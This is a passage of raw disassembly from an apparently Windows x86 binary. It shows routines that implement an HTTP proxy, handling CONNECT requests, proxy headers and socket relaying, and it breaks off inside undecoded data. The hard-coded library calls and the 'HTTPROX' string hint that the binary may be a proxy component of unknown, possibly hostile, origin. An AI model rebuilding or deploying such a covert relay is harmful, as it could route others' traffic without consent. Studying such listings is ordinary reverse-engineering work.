0FFFFFFFFh push offset SEH_428160 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov [esp+2Ch+var_28], esi call sub_401F82 lea ecx, [esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_401424 push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr [esp+44h+var_4], 1 mov dword ptr [esi], offset off_43E14C call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4015D7 lea ecx, [esp+2Ch+var_24] mov byte ptr [esp+2Ch+var_4], 1 call sub_401226 mov ecx, [esp+2Ch+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_428160 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428220 proc near ; CODE XREF: ___:00401E15j sub_4021B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BD1 test [esp+4+arg_0], 1 jz short loc_428238 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_428238: ; CODE XREF: sub_428220+Dj mov eax, esi pop esi retn 4 sub_428220 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428250 proc near ; CODE XREF: sub_401BD1j push esi mov esi, ecx push edi mov edi, dword_50FC88 mov eax, [esi+0BFh] mov dword ptr [esi], offset off_43E14C cmp eax, 0FFFFFFFFh jz short loc_42826E push eax call edi ; closesocket loc_42826E: ; CODE XREF: sub_428250+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_42827C push eax call edi ; closesocket loc_42827C: ; CODE XREF: sub_428250+27j lea ecx, [esi+0A1h] call sub_401226 mov ecx, esi call sub_40179E pop edi pop esi retn sub_428250 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4282C0 proc near ; CODE XREF: sub_401D2Aj var_B0 = byte ptr -0B0h var_AA = byte ptr -0AAh var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_5C = byte ptr -5Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_3C = byte ptr -3Ch var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_26 = byte ptr -26h var_24 = byte ptr -24h var_20 = byte ptr -20h var_18 = byte ptr -18h var_C = byte ptr -0Ch var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_4 = byte ptr -4 arg_C = byte ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_24 = byte ptr 28h arg_28 = byte ptr 2Ch arg_34 = byte ptr 38h arg_3C = byte ptr 40h arg_40 = byte ptr 44h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_4A = word ptr 4Eh arg_4C = dword ptr 50h arg_50 = dword ptr 54h arg_54 = dword ptr 58h arg_58 = dword ptr 5Ch arg_64 = byte ptr 68h arg_68 = byte ptr 6Ch arg_6C = byte ptr 70h arg_91 = byte ptr 95h arg_98 = byte ptr 9Ch arg_9D = byte ptr 0A1h arg_AD = byte ptr 0B1h arg_D0 = dword ptr 0D4h arg_D4 = byte ptr 0D8h arg_E0 = dword ptr 0E4h arg_E4 = byte ptr 0E8h arg_EC = dword ptr 0F0h arg_F0 = byte ptr 0F4h arg_FC = byte ptr 100h arg_108 = byte ptr 10Ch arg_12C = byte ptr 130h arg_150 = byte ptr 154h arg_15C = byte ptr 160h arg_180 = byte ptr 184h arg_18C = byte ptr 190h arg_1A4 = byte ptr 1A8h arg_1B0 = byte ptr 1B4h arg_1F8 = byte ptr 1FCh arg_210 = byte ptr 214h arg_228 = byte ptr 22Ch arg_230 = byte ptr 234h arg_240 = byte ptr 244h arg_244 = dword ptr 248h arg_248 = dword ptr 24Ch arg_24C = dword ptr 250h arg_258 = byte ptr 25Ch arg_374 = byte ptr 378h arg_3EC = byte ptr 3F0h arg_3FC = byte ptr 400h arg_40C = byte ptr 410h arg_41C = byte ptr 420h arg_42C = byte ptr 430h arg_43C = byte ptr 440h arg_44C = byte ptr 450h arg_45C = byte ptr 460h arg_478 = byte ptr 47Ch arg_4478 = byte ptr 447Ch arg_53D0 = dword ptr 53D4h arg_53E0 = dword ptr 53E4h arg_5434 = byte ptr 5438h arg_5444 = byte ptr 5448h arg_544C = dword ptr 5450h arg_5454 = dword ptr 5458h arg_5480 = dword ptr 5484h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43BA92 push eax mov eax, 5488h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov byte ptr [esp+11h], 0 mov [esp+1Ch+var_A], 0 loc_4282F8: ; CODE XREF: sub_4282C0+FC6j lea ecx, [esp+1Ch+arg_98] call sub_401B36 lea ecx, [esp+1Ch+var_8] mov [esp+1Ch+arg_5480], 0 mov [esp+1Ch+var_9], 0 call sub_401424 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_374] push 104h push eax push ecx mov byte ptr [esp+2Ch+arg_5480], 1 call sub_401280 add esp, 10h test al, al jz loc_429310 lea edx, [esp+1Ch+arg_374] lea ecx, [esp+1Ch+arg_10] push edx call sub_401861 push offset byte_446F70 lea ecx, [esp+20h+arg_10] mov byte ptr [esp+20h+arg_5480], 2 call sub_4012EE test eax, eax jnz short loc_4283B0 lea ecx, [esp+1Ch+arg_10] mov byte ptr [esp+1Ch+arg_5480], 1 call sub_401226 lea ecx, [esp+1Ch+var_8] mov byte ptr [esp+1Ch+arg_5480], 0 call sub_401226 lea ecx, [esp+1Ch+arg_98] mov [esp+1Ch+arg_5480], esi call sub_4014B0 jmp loc_429280 ; --------------------------------------------------------------------------- loc_4283B0: ; CODE XREF: sub_4282C0+B4j push offset asc_443600 ; " " lea eax, [esp+20h+arg_210] push 0 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset off_445258 mov ecx, eax mov byte ptr [esp+20h+arg_5480], 3 call sub_401500 test eax, eax lea ecx, [esp+1Ch+arg_210] mov byte ptr [esp+1Ch+arg_5480], 2 setz bl call sub_401226 test bl, bl jz short loc_428475 push offset asc_443600 ; " " lea ecx, [esp+20h+arg_1F8] push 1 push ecx lea ecx, [esp+28h+arg_10] mov [esp+28h+var_9], 1 call sub_4016AE lea edx, [esp+1Ch+arg_98] mov ecx, eax push edx mov byte ptr [esp+20h+arg_5480], 4 call sub_4017E4 push eax call sub_401938 add esp, 8 lea ecx, [esp+1Ch+arg_1F8] test al, al setz bl mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 test bl, bl jnz loc_4292FF push offset aHttp ; "http" lea ecx, [esp+20h+arg_98] call sub_4012EE test eax, eax jnz loc_4292FF jmp loc_42866A ; --------------------------------------------------------------------------- loc_428475: ; CODE XREF: sub_4282C0+137j push offset asc_443600 ; " " lea eax, [esp+20h+arg_228] push 0 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset aConnect_0 ; "CONNECT" mov ecx, eax mov byte ptr [esp+20h+arg_5480], 5 call sub_401500 test eax, eax lea ecx, [esp+1Ch+arg_228] mov byte ptr [esp+1Ch+arg_5480], 2 setz bl call sub_401226 test bl, bl jz loc_42866A push offset aConnect ; "connect" lea ecx, [esp+20h+arg_98] mov [esp+20h+var_9], 0 call sub_4015D7 push offset byte_446F70 lea ecx, [esp+20h+arg_F0] call sub_4015D7 push offset asc_443600 ; " " lea ecx, [esp+20h+arg_108] push 1 push ecx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+20h+arg_150] push 0 push edx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 6 call sub_4016AE push eax lea ecx, [esp+20h+arg_AD] mov byte ptr [esp+20h+arg_5480], 7 call sub_401FBE lea ecx, [esp+1Ch+arg_150] mov byte ptr [esp+1Ch+arg_5480], 6 call sub_401226 lea ecx, [esp+1Ch+arg_108] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 push offset asc_443600 ; " " lea eax, [esp+20h+arg_258] push 1 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+20h+arg_180] push 1 push ecx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 8 call sub_4016AE mov ecx, eax mov byte ptr [esp+1Ch+arg_5480], 9 call sub_4017E4 test eax, eax lea ecx, [esp+1Ch+arg_180] mov byte ptr [esp+1Ch+arg_5480], 8 setz bl call sub_401226 lea ecx, [esp+1Ch+arg_258] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 test bl, bl jnz loc_4292FF push offset asc_443600 ; " " lea edx, [esp+20h+arg_240] push 1 push edx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+20h+arg_1B0] push 1 push ecx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 0Ah call sub_4016AE mov ecx, eax mov byte ptr [esp+1Ch+arg_5480], 0Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1Ch+arg_1B0] mov [esp+1Ch+arg_EC], eax mov byte ptr [esp+1Ch+arg_5480], 0Ah call sub_401226 lea ecx, [esp+1Ch+arg_240] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 mov eax, [esp+1Ch+arg_EC] test eax, eax jnz short loc_42866A mov [esp+1Ch+arg_EC], 50h loc_42866A: ; CODE XREF: sub_4282C0+1B0j ; sub_4282C0+1FCj ... push offset asc_443600 ; " " lea edx, [esp+20h+arg_28] push 0 push edx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset byte_446F70 lea ecx, [esp+20h+arg_28] mov byte ptr [esp+20h+arg_5480], 0Ch call sub_4012EE test eax, eax jz loc_4292EE push offset asc_443600 ; " " lea eax, [esp+20h+arg_40] push 2 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset byte_446F70 lea ecx, [esp+20h+arg_40] mov byte ptr [esp+20h+arg_5480], 0Dh call sub_4012EE test eax, eax jz loc_4292DD lea ecx, [esp+1Ch+arg_AD] push ecx lea ecx, [esp+20h+arg_68] call sub_4014C9 mov ecx, 1000h xor eax, eax lea edi, [esp+1Ch+arg_478] or ebx, 0FFFFFFFFh rep stosd mov edi, offset aHttprox ; "HTTPROX" mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+1Ch+arg_4478] mov eax, ecx mov esi, edi mov edi, edx mov byte ptr [esp+1Ch+arg_5480], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+1Ch+arg_4478] and ecx, 3 rep movsb mov esi, offset asc_445230 ; "\r\n" loc_428731: ; CODE XREF: sub_4282C0+48Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428755 test cl, cl jz short loc_428751 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428755 add eax, 2 add esi, 2 test cl, cl jnz short loc_428731 loc_428751: ; CODE XREF: sub_4282C0+47Bj xor eax, eax jmp short loc_428759 ; --------------------------------------------------------------------------- loc_428755: ; CODE XREF: sub_4282C0+477j ; sub_4282C0+485j sbb eax, eax sbb eax, ebx loc_428759: ; CODE XREF: sub_4282C0+493j test eax, eax jz loc_428833 mov edi, dword_50FACC loc_428767: ; CODE XREF: sub_4282C0+56Dj mov esi, offset byte_446F70 lea eax, [esp+1Ch+arg_4478] loc_428773: ; CODE XREF: sub_4282C0+4D1j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428797 test cl, cl jz short loc_428793 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428797 add eax, 2 add esi, 2 test cl, cl jnz short loc_428773 loc_428793: ; CODE XREF: sub_4282C0+4BDj xor eax, eax jmp short loc_42879B ; --------------------------------------------------------------------------- loc_428797: ; CODE XREF: sub_4282C0+4B9j ; sub_4282C0+4C7j sbb eax, eax sbb eax, ebx loc_42879B: ; CODE XREF: sub_4282C0+4D5j test eax, eax jz loc_428833 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_4478] push 1000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_429339 lea edx, [esp+1Ch+arg_4478] push 4000h lea eax, [esp+20h+arg_478] push edx push eax call edi ; strncat push 4000h lea ecx, [esp+2Ch+arg_478] push offset asc_445230 ; "\r\n" push ecx call edi ; strncat add esp, 18h mov esi, offset asc_445230 ; "\r\n" lea eax, [esp+1Ch+arg_4478] loc_428803: ; CODE XREF: sub_4282C0+561j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428827 test cl, cl jz short loc_428823 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428827 add eax, 2 add esi, 2 test cl, cl jnz short loc_428803 loc_428823: ; CODE XREF: sub_4282C0+54Dj xor eax, eax jmp short loc_42882B ; --------------------------------------------------------------------------- loc_428827: ; CODE XREF: sub_4282C0+549j ; sub_4282C0+557j sbb eax, eax sbb eax, ebx loc_42882B: ; CODE XREF: sub_4282C0+565j test eax, eax jnz loc_428767 loc_428833: ; CODE XREF: sub_4282C0+49Bj ; sub_4282C0+4DDj mov esi, dword_50FAF8 lea eax, [esp+1Ch+arg_478] push offset aProxyConnectio ; "Proxy-Connection:" push eax call esi ; strstr add esp, 8 test eax, eax jz short loc_428887 push offset asc_443C94 ; ":" push eax call esi ; strstr add esp, 8 inc eax jz short loc_428887 cmp byte ptr [eax], 20h jnz short loc_42886B loc_428862: ; CODE XREF: sub_4282C0+5A9j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_428862 loc_42886B: ; CODE XREF: sub_4282C0+5A0j push offset aKeepAlive ; "Keep-Alive" push eax call near ptr 77C4624Eh nop add esp, 8 test eax, eax jz short loc_428887 mov byte ptr [ebp+0BAh], 1 jmp short loc_42888E ; --------------------------------------------------------------------------- loc_428887: ; CODE XREF: sub_4282C0+58Dj ; sub_4282C0+59Bj ... mov byte ptr [ebp+0BAh], 0 loc_42888E: ; CODE XREF: sub_4282C0+5C5j cmp [ebp+0BFh], ebx jnz loc_428926 push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, ebx mov [ebp+0BFh], eax jz loc_42940D mov edx, [esp+28h+arg_E0] xor ecx, ecx mov [esp+28h+arg_4C], ecx push edx mov [esp+2Ch+arg_50], ecx mov word ptr [esp+2Ch+arg_4C], 2 mov [esp+2Ch+arg_54], ecx mov [esp+2Ch+arg_58], ecx nop call near ptr 71AB2B66h lea ecx, [esp+2Ch+arg_9D] mov [esp+2Ch+arg_4A], ax call sub_4017E4 push eax call sub_40187F add esp, 4 cmp eax, ebx mov [esp+2Ch+arg_4C], eax jz loc_42934B mov ecx, [ebp+0BFh] lea eax, [esp+2Ch+arg_48] push 10h push eax push ecx call near ptr 71AB406Ah nop cmp eax, ebx jz loc_4293A8 loc_428926: ; CODE XREF: sub_4282C0+5D4j mov al, [esp+13h] test al, al jz loc_428FCE mov al, [ebp+0BAh] test al, al jz short loc_428971 lea edx, [esp+38h+arg_45C] lea ecx, [esp+38h+arg_24] push edx call sub_4017E4 push eax lea ecx, [esp+40h+arg_D4] call sub_4017E4 push eax lea ecx, [esp+44h+arg_C] call sub_4017E4 push eax lea eax, [esp+48h+var_24] push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s" push eax jmp short loc_4289A4 ; --------------------------------------------------------------------------- loc_428971: ; CODE XREF: sub_4282C0+67Aj lea ecx, [esp+38h+arg_45C] push ecx lea ecx, [esp+3Ch+arg_24] call sub_4017E4 push eax lea ecx, [esp+40h+arg_D4] call sub_4017E4 push eax lea ecx, [esp+44h+arg_C] call sub_4017E4 push eax lea edx, [esp+48h+var_24] push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s" push edx loc_4289A4: ; CODE XREF: sub_4282C0+6AFj call sub_40102D add esp, 18h lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 push eax mov eax, [ebp+0BFh] push eax nop call near ptr 71AB428Ah test eax, eax jz loc_4293F2 cmp eax, ebx jz loc_4293F2 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+4Ch+arg_44C] push 4000h push ecx push edx call sub_401280 add esp, 10h test al, al jz loc_42941F mov edi, offset asc_445230 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+48h+arg_44C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+4Ch+arg_44C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+4Ch+arg_44C] push ecx mov ecx, [ebp+0BBh] push eax push ecx call near ptr 71AB428Ah nop xor ebx, ebx mov esi, offset asc_445230 ; "\r\n" mov [esp+58h+var_2C], ebx lea eax, [esp+58h+arg_43C] loc_428A6E: ; CODE XREF: sub_4282C0+7CCj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428A92 test cl, cl jz short loc_428A8E mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428A92 add eax, 2 add esi, 2 test cl, cl jnz short loc_428A6E loc_428A8E: ; CODE XREF: sub_4282C0+7B8j xor eax, eax jmp short loc_428A97 ; --------------------------------------------------------------------------- loc_428A92: ; CODE XREF: sub_4282C0+7B4j ; sub_4282C0+7C2j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428A97: ; CODE XREF: sub_4282C0+7D0j test eax, eax jz loc_428E19 loc_428A9F: ; CODE XREF: sub_4282C0+B48j mov esi, offset byte_446F70 lea eax, [esp+58h+arg_43C] loc_428AAB: ; CODE XREF: sub_4282C0+80Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428AD3 test cl, cl jz short loc_428ACF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428AD3 add eax, 2 add esi, 2 test cl, cl jnz short loc_428AAB loc_428ACF: ; CODE XREF: sub_4282C0+7F7j xor eax, eax jmp short loc_428AD8 ; --------------------------------------------------------------------------- loc_428AD3: ; CODE XREF: sub_4282C0+7F3j ; sub_4282C0+803j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428AD8: ; CODE XREF: sub_4282C0+811j test eax, eax jz loc_428E15 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+5Ch+arg_43C] push 4000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_428E10 lea edx, [esp+58h+arg_43C] lea ecx, [esp+58h+arg_44] push edx call sub_401861 push offset asc_443600 ; " " lea eax, [esp+5Ch+arg_1A4] push 0 push eax lea ecx, [esp+64h+arg_44] mov [esp+64h+arg_5444], 0Fh call sub_4016AE push offset aContentLength ; "Content-Length:" mov ecx, eax mov [esp+5Ch+arg_5444], 10h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_1A4] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428BBA push offset asc_443600 ; " " lea ecx, [esp+5Ch+arg_E4] push 1 push ecx lea ecx, [esp+64h+arg_44] call sub_4016AE mov ecx, eax mov [esp+58h+arg_5444], 11h call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+58h+arg_E4] mov [esp+58h+var_2C], eax mov [esp+58h+arg_5444], 0Fh call sub_401226 loc_428BBA: ; CODE XREF: sub_4282C0+8ACj push offset asc_443600 ; " " lea edx, [esp+5Ch+arg_FC] push 0 push edx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aTransferEncodi ; "Transfer-Encoding:" mov ecx, eax mov [esp+5Ch+arg_5444], 12h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_FC] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428C49 push offset asc_443600 ; " " lea eax, [esp+5Ch+arg_12C] push 1 push eax lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aChunked ; "chunked" mov ecx, eax mov [esp+5Ch+arg_5444], 13h call sub_401500 lea ecx, [esp+58h+arg_12C] mov [esp+58h+arg_5444], 0Fh call sub_401226 loc_428C49: ; CODE XREF: sub_4282C0+944j push offset asc_443600 ; " " lea ecx, [esp+5Ch+arg_15C] push 0 push ecx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aConnection ; "Connection:" mov ecx, eax mov [esp+5Ch+arg_5444], 14h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_15C] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428CE4 push offset asc_443600 ; " " lea edx, [esp+5Ch+arg_18C] push 1 push edx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aKeepAlive ; "Keep-Alive" mov ecx, eax mov [esp+5Ch+arg_5444], 15h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_18C] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl setnz [esp+58h+var_47] loc_428CE4: ; CODE XREF: sub_4282C0+9D3j mov esi, offset asc_445230 ; "\r\n" lea eax, [esp+58h+arg_43C] loc_428CF0: ; CODE XREF: sub_4282C0+A52j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428D18 test cl, cl jz short loc_428D14 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428D18 add eax, 2 add esi, 2 test cl, cl jnz short loc_428CF0 loc_428D14: ; CODE XREF: sub_4282C0+A3Cj xor eax, eax jmp short loc_428D1D ; --------------------------------------------------------------------------- loc_428D18: ; CODE XREF: sub_4282C0+A38j ; sub_4282C0+A48j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428D1D: ; CODE XREF: sub_4282C0+A56j test eax, eax jz loc_428DB9 mov esi, offset byte_446F70 lea eax, [esp+58h+arg_43C] loc_428D31: ; CODE XREF: sub_4282C0+A93j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428D59 test cl, cl jz short loc_428D55 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428D59 add eax, 2 add esi, 2 test cl, cl jnz short loc_428D31 loc_428D55: ; CODE XREF: sub_4282C0+A7Dj xor eax, eax jmp short loc_428D5E ; --------------------------------------------------------------------------- loc_428D59: ; CODE XREF: sub_4282C0+A79j ; sub_4282C0+A89j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428D5E: ; CODE XREF: sub_4282C0+A97j test eax, eax jz short loc_428DB9 mov edi, offset asc_445230 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+58h+arg_43C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+5Ch+arg_43C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+5Ch+arg_43C] push ecx mov ecx, [ebp+0BBh] push eax push ecx call near ptr 71AB428Ah nop loc_428DB9: ; CODE XREF: sub_4282C0+A5Fj ; sub_4282C0+AA0j lea ecx, [esp+68h+arg_34] mov [esp+68h+arg_5434], 0Eh call sub_401226 mov esi, offset asc_445230 ; "\r\n" lea eax, [esp+68h+arg_42C] loc_428DD9: ; CODE XREF: sub_4282C0+B3Bj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428E01 test cl, cl jz short loc_428DFD mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428E01 add eax, 2 add esi, 2 test cl, cl jnz short loc_428DD9 loc_428DFD: ; CODE XREF: sub_4282C0+B25j xor eax, eax jmp short loc_428E06 ; --------------------------------------------------------------------------- loc_428E01: ; CODE XREF: sub_4282C0+B21j ; sub_4282C0+B31j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428E06: ; CODE XREF: sub_4282C0+B3Fj test eax, eax jnz loc_428A9F jmp short loc_428E15 ; --------------------------------------------------------------------------- loc_428E10: ; CODE XREF: sub_4282C0+840j mov [esp+58h+var_46], 1 loc_428E15: ; CODE XREF: sub_4282C0+81Aj ; sub_4282C0+B4Ej mov ebx, [esp+58h+var_2C] loc_428E19: ; CODE XREF: sub_4282C0+7D9j mov al, [esp+58h+var_47] push 0 test al, al jz short loc_428E41 mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset aConnectionKeep ; "Connection: Keep-Alive\r\n" push eax jmp short loc_428E5D ; --------------------------------------------------------------------------- loc_428E41: ; CODE XREF: sub_4282C0+B61j mov edi, offset aConnectionClos ; "Connection: Close\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset aConnectionClos ; "Connection: Close\r\n" push ecx loc_428E5D: ; CODE XREF: sub_4282C0+B7Fj nop call near ptr 71AB428Ah mov edi, offset asc_445230 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+68h+arg_42C] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+6Ch+arg_42C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+70h+arg_42C] push ecx push edx nop call near ptr 71AB428Ah test ebx, ebx jz loc_428F8C xor edi, edi test ebx, ebx jle short loc_428F14 loc_428EC3: ; CODE XREF: sub_4282C0+C52j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_428F14 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+7Ch+arg_41C] push 4000h push ecx push edx nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_428F14 cmp esi, 0FFFFFFFFh jz short loc_428F14 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+8Ch+arg_40C] push esi push eax push ecx call near ptr 71AB428Ah nop add edi, esi cmp edi, ebx jl short loc_428EC3 loc_428F14: ; CODE XREF: sub_4282C0+C01j ; sub_4282C0+C0Cj ... mov eax, ebx sub eax, edi jz short loc_428F5E loc_428F1A: ; CODE XREF: sub_4282C0+C9Cj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+0A0h+arg_3FC] push edx push eax call near ptr 71AB615Ah nop mov esi, eax cmp esi, 1 jl short loc_428F5E cmp esi, 0FFFFFFFFh jz short loc_428F5E mov edx, [ebp+0BBh] push 0 lea ecx, [esp+0ACh+arg_3EC] push esi push ecx push edx nop call near ptr 71AB428Ah add edi, esi mov eax, ebx sub eax, edi jnz short loc_428F1A loc_428F5E: ; CODE XREF: sub_4282C0+C58j ; sub_4282C0+C77j ... mov al, [ebp+0BAh] test al, al jnz loc_4291EF mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h or esi, 0FFFFFFFFh mov [esp+0BCh+var_AA], 1 mov [ebp+0BBh], esi jmp loc_4291F2 ; --------------------------------------------------------------------------- loc_428F8C: ; CODE XREF: sub_4282C0+BF7j mov esi, dword_50FC90 loc_428F92: ; CODE XREF: sub_4282C0+D0Cj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+7Ch+arg_41C] push 4000h push eax push ecx call esi ; recv cmp eax, 1 jl short loc_428F5E cmp eax, 0FFFFFFFFh jz short loc_428F5E push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+90h+arg_40C] push edx push eax nop call near ptr 71AB428Ah jmp short loc_428F92 ; --------------------------------------------------------------------------- loc_428FCE: ; CODE XREF: sub_4282C0+66Cj lea ecx, [esp+38h+var_24] push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push ecx call sub_40102D add esp, 8 lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah test eax, eax jz loc_429492 cmp eax, ebx jz loc_429492 mov ebx, dword_50FC90 mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+48h+arg_248], eax mov [esp+48h+arg_244], 1 xor eax, eax lea ecx, [esp+48h+arg_248] loc_429040: ; CODE XREF: sub_4282C0+D8Bj cmp [ecx], edx jz short loc_42904D inc eax add ecx, 4 cmp eax, 1 jb short loc_429040 loc_42904D: ; CODE XREF: sub_4282C0+D82j cmp eax, 1 jnz short loc_429064 mov [esp+48h+arg_24C], edx mov [esp+48h+arg_244], 2 loc_429064: ; CODE XREF: sub_4282C0+D90j mov ecx, 1000h xor eax, eax lea edi, [esp+48h+arg_44C] push eax rep stosd push eax lea ecx, [esp+50h+arg_244] push eax push ecx push eax nop call near ptr 71AB2DC0h mov eax, [ebp+0BBh] lea edx, [esp+5Ch+arg_230] push edx push eax call sub_436F60 ; --------------------------------------------------------------------------- dw 0C085h dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h dd 0A024848Dh, 50000004h, 0B3E89051h, 837168B1h, 840FFFF8h dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 